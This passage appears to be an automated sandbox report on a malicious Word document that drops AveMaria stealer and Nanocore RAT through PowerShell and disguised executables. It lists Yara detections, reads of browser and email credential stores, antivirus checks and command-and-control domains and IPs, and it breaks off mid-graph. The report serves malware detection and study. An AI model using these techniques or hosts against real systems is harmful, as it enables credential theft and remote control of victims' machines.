Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\images.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\ProgramData\images.exe Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\images.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\ProgramData\images.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
Source: C:\Windows\System32\notepad.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abdtfhghgdghgh .ScT VolumeInformation
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Queries volume information: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe VolumeInformation
Source: C:\Windows\System32\drvinst.exe Queries volume information: C:\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Common-Drivers-Package~31bf3856ad364e35~amd64~~6.1.7601.17514.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Queries volume information: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00408D0F GetModuleHandleA,SHGetFolderPathW,lstrcatW,lstrcatW,CreateDirectoryW,lstrcpyW,lstrcatW,GetLocalTime,wsprintfW,CreateFileW,CloseHandle,RegisterClassW,CreateWindowExW,GetMessageA,GetMessageA,TranslateMessage,DispatchMessageA,GetMessageA, 13_2_00408D0F
Source: C:\ProgramData\images.exe Code function: 21_3_042973C6 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte, 21_3_042973C6
Source: C:\ProgramData\images.exe Code function: 21_3_042394E0 GetVersionExW,MultiByteToWideChar,MultiByteToWideChar,_malloc,MultiByteToWideChar,_free,GetVersionExW,GetDiskFreeSpaceW,GetDiskFreeSpaceA,_free, 21_3_042394E0
Source: C:\Users\user\AppData\Roaming\putty.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
Increases the number of concurrent connection per server for Internet Explorer
Source: C:\Users\user\AppData\Roaming\putty.exe Registry key created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings MaxConnectionsPerServer 10 Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\putty.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe WMI Queries: IWbemServices::ExecQuery - SELECT DisplayName FROM FirewallProduct

Stealing of Sensitive Information:

barindex
Yara detected AveMaria stealer
Source: Yara match File source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3751b08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3791b08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3aa1b08.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.61381d.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000003.2137169067.0000000000613000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137304291.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137077371.0000000000603000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118755811.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118971999.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2119027493.00000000005C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2139607287.0000000003911000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118869644.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118769952.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137213660.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118879592.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2123072051.00000000035C1000.00000004.00000001.sdmp, type: MEMORY
Yara detected Nanocore RAT
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34ffadc.25.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.440000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34ffadc.25.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.3504105.26.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.368f7f4.28.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.444629.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.3680f50.30.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000002.2359934676.0000000003678000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2300359769.0000000002491000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2359482992.00000000034F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2300423782.0000000003499000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2355475529.00000000024B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2299296256.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Contains functionality to steal Chrome passwords or cookies
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: \Google\Chrome\User Data\Default\Login Data 13_2_0040B917
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: \Chromium\User Data\Default\Login Data 13_2_0040B917
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: \Google\Chrome\User Data\Default\Login Data 15_2_0040B917
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: \Chromium\User Data\Default\Login Data 15_2_0040B917
Contains functionality to steal e-mail passwords
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: POP3 Password 13_2_004099FF
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: SMTP Password 13_2_004099FF
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: IMAP Password 13_2_004099FF
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: POP3 Password 15_2_004099FF
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: SMTP Password 15_2_004099FF
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: IMAP Password 15_2_004099FF
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\ProgramData\images.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\logins.json
Source: C:\ProgramData\images.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\ProgramData\images.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\ProgramData\images.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\ProgramData\images.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\ProgramData\images.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db
Yara detected Credential Stealer
Source: Yara match File source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3751b08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3791b08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3aa1b08.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000003.2137169067.0000000000613000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137304291.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137077371.0000000000603000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118755811.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118971999.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2119027493.00000000005C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2139607287.0000000003911000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118869644.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118769952.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137213660.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118879592.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2123072051.00000000035C1000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected AveMaria stealer
Source: Yara match File source: 21.2.images.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3b52b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.putty.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3751b08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3791b08.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.images.exe.3aa1b08.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.61381d.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.putty.exe.3802b48.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.images.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.putty.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.putty.exe.3842b48.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.3.images.exe.6115d8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000003.2137169067.0000000000613000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137304291.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137077371.0000000000603000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118755811.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118971999.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2119027493.00000000005C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2139607287.0000000003911000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118869644.00000000005B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118769952.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.2137213660.0000000000607000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000003.2118879592.00000000005BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2123072051.00000000035C1000.00000004.00000001.sdmp, type: MEMORY
Yara detected Nanocore RAT
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34ffadc.25.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.440000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34ffadc.25.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.34faca6.27.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.3504105.26.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.368f7f4.28.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.444629.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.3680f50.30.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.iBCrDCK.i.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000022.00000002.2359934676.0000000003678000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2300359769.0000000002491000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2359482992.00000000034F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2300423782.0000000003499000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2355475529.00000000024B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2353673485.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2353767111.0000000000440000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2299296256.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\ProgramData\images.exe Code function: 21_3_04253030 sqlite3_clear_bindings,_memset, 21_3_04253030
Source: C:\ProgramData\images.exe Code function: 21_3_042550E0 sqlite3_bind_parameter_index, 21_3_042550E0
Source: C:\ProgramData\images.exe Code function: 21_3_042552D0 sqlite3_transfer_bindings, 21_3_042552D0
Source: C:\ProgramData\images.exe Code function: 21_3_04254C20 sqlite3_bind_int, 21_3_04254C20
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 457815 Sample: NEW PO1100372954 -.doc Startdate: 02/08/2021 Architecture: WINDOWS Score: 100 98 hhjhtggfr.duckdns.org 2->98 120 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->120 122 Malicious sample detected (through community Yara rule) 2->122 124 Antivirus detection for URL or domain 2->124 126 22 other signatures 2->126 13 WINWORD.EXE 305 48 2->13         started        18 drvinst.exe 2->18         started        20 rdpdr.sys 2->20         started        22 3 other processes 2->22 signatures3 process4 dnsIp5 110 hhjhtggfr.duckdns.org 203.159.80.186, 49165, 49166, 49167 LOVESERVERSGB Netherlands 13->110 112 newhosteeeee.ydns.eu 13->112 90 C:\Users\user\AppData\Local\...\putty[1].exe, PE32 13->90 dropped 92 C:\Users\user\AppData\...\abdtfhghgdghgh .ScT, data 13->92 dropped 94 C:\Users\user\AppData\Local\...\FLD93F.tmp, 370 13->94 dropped 96 C:\Users\user\AppData\Local\...\11DB366A.png, 370 13->96 dropped 164 Document exploit detected (creates forbidden files) 13->164 166 Suspicious powershell command line found 13->166 168 Tries to download and execute files (via powershell) 13->168 170 2 other signatures 13->170 24 powershell.exe 7 13->24         started        28 powershell.exe 7 13->28         started        30 powershell.exe 12 7 13->30         started        33 3 other processes 13->33 file6 signatures7 process8 dnsIp9 106 newhosteeeee.ydns.eu 24->106 88 C:\Users\user\AppData\Roaming\putty.exe, PE32 24->88 dropped 35 putty.exe 1 7 24->35         started        38 putty.exe 2 28->38         started        108 newhosteeeee.ydns.eu 30->108 154 Powershell drops PE file 30->154 156 Injects files into Windows application 33->156 file10 signatures11 process12 signatures13 128 Multi AV Scanner detection for dropped file 35->128 130 Machine Learning detection for dropped file 35->130 132 Contains functionality to inject threads in other processes 35->132 136 2 other signatures 35->136 40 putty.exe 4 4 35->40         started        134 Injects a PE file into a foreign processes 38->134 44 putty.exe 38->44         started        46 putty.exe 38->46         started        48 putty.exe 38->48         started        process14 file15 78 C:\ProgramData\images.exe, PE32 40->78 dropped 140 Increases the number of concurrent connection per server for Internet Explorer 40->140 142 Hides that the sample has been downloaded from the Internet (zone.identifier) 40->142 50 images.exe 40->50         started        53 cmd.exe 40->53         started        signatures16 process17 signatures18 114 Multi AV Scanner detection for dropped file 50->114 116 Machine Learning detection for dropped file 50->116 118 Injects a PE file into a foreign processes 50->118 55 images.exe 50->55         started        60 reg.exe 53->60         started        process19 dnsIp20 102 hutyrtit.ydns.eu 203.159.80.165, 49169, 80 LOVESERVERSGB Netherlands 55->102 104 sdafsdffssffs.ydns.eu 55->104 80 C:\Users\user\AppData\Roaming\iBCrDCK.i.exe, PE32 55->80 dropped 82 C:\Users\user\AppData\Local\...\microC[1].exe, PE32 55->82 dropped 84 